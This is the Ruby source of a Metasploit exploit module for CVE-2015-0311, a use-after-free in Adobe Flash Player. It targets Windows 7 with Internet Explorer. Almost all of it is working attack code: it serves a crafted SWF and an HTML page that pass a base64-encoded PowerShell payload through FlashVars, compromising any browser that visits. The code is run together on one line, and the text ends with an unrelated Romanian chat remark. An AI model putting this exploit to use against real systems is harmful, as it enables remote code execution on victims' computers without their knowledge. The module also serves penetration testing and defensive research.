## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', 'Description' => %q{ This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying to uncompress() a malformed byte stream. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'hdarwin', # Public exploit by @hdarwin89 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0311'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'], ['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'], ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 28 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source

Bine ai revenit fratioru' , vezi cum facem cu berea aia